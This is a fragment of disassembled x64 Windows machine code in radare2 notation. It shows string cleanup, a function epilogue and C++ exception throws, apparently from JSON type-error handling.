ja 0x140006bdd
mov rcx, r8
call fcn.14007de64
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rbx, qword [rbp - 0x48]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006b98
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140006b93
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006be4
mov rcx, r8
call fcn.14007de64
mov qword [rbx + 0x10], rdi
mov eax, 1
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.14007dae0
add rsp, 0x498
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call fcn.140007da0
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.14000c3f0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 8]
call fcn.1400092e0
lea rdx, [0x1400b8080]
lea rcx, [rbp + 8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140007da0
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x68]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rsp + 0x70]
call fcn.14000c7e0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 8]
call fcn.1400092e0
lea rdx, [0x1400b8080]
lea rcx, [rbp + 8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001e70
int3
call fcn.140001dd0
nop
mov rcx, rax
call fcn.140007da0
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.14000c3f0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 8]
call fcn.1400092e0
lea rdx, [0x1400b8080]
lea rcx, [rbp + 8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3